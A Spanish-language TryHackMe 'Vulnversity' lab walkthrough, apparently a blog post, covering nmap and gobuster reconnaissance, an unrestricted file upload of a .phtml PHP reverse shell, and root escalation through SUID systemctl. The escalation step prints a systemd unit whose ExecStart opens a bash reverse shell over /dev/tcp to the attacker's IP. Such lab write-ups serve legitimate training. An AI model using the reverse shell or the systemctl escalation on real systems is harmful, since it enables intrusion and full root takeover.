TryHackMe — Vulnversity
Tareas
- Reconocimiento.
- Localización de directorios con GoBuster.
- Comprometer el webserver.
- Escalar privilegios.
Reconocimiento
Iniciamos la etapa de reconocimiento, para esto utilizaremos nmap. Nmap es una herramienta de renocimiento de hosts, puertos y servicios, nmap nos presenta una gran variedad de opciones que podemos usar.
Escaneamos los puertos e identificamos los servicios que nos pide el portal para responder a las preguntas.
nmap -sC -sV -oN vulnversity.nmap 10.10.250.36Nmap scan report for 10.10.250.36
Host is up (0.23s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_clock-skew: mean: 39m48s, deviation: 2h53m13s, median: -1h00m12s
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2020-03-05T17:28:22-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-05 17:28:23
|_ start_date: N/A
Localización de directorios con GoBuster
Ahora analizaremos el portal WEB que se encuentra en el puerto 3333 en búsqueda de vulnerabilidades. Usaremos gobuster para la búsqueda de directorios y agregaremos un diccionario.
# Busqueda del primer directorio
$ ./gobuster dir -u http://10.10.250.36:3333/ -w ../wordlist/directory-list-2.3-medium.txt# Búsqueda de mas directorios
$ ./gobuster dir -u http://10.10.250.36:3333/internal/ -w ../wordlist/directory-list-2.3-medium.txt
Después de un rato encontraremos los directorios
http://10.10.250.36:3333/interna/http://10.10.250.36:3333/internal/uploads
Acá les dejo GoBuster y el diccionario que utilice.
https://github.com/danielmiessler/SecLists
Comprometiendo el servidor
Tenemos diferentes puertos abiertos pero nos enfocaremos en el puerto 3333, donde tenemos un portal web y este nos entrega un formulario para poder subir un archivo.
El portal no permite subir cualquier archivo, entonces probaremos diferentes extensiones buscando un tipo de archivo valido.
Utilizaremos burpsuite para realizar estas pruebas y al mismo tiempo explotare la vulnerabilidad Unrestricted File Upload.
Usare esta web reverse shell que nos recomienda el portal y usare esta lista validar que tipo de extensión es valido.
Al ser una reverse shell debemos modificar los datos de host y el puerto para poder recibir la conexión.
Después de la búsqueda encontramos que el portal acepta subir archivos con extensión .phtml
Ahora solo falta ejecutarlo y preparar nuestro netcat a la espera de conexiones.
Escalación de privilegios
THM nos pide un token que se encuentra en el home de root y nos explica un poco sobre los SUID, en base a eso hacemos una búsqueda de todos los ejecutables con esos permisos.
Para esto usamos el comando find.
$ find / -perm /4000
y nos listara todos los archivos con los permisos que buscamos, pero hay un ejecutable en especial que podemos usar para escalar privilegios, es el systemctl.
Para esto creare un demonio que se ejecutara con los privilegios de systemctl y esto nos ayudara a tener otra shell reversa para poder obtener el token que nos pide.
Este sera el contenido del demonio y lo guardaremos a un archivo para luego subirlo y ejecutarlo.
[Unit]
Description=roooooot[Service]
Type=simple
User=root
ExecStart=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.18.7.68/4444 0>&1'[Install]
WantedBy=multi-user.target
Iniciamos netcat en el puerto 4444 a la escucha de conexiones y esperamos nuestra shell una vez que iniciamos el demonio. Ahora tenemos permisos de root y podemos ver el archivo.
Happy Hacking.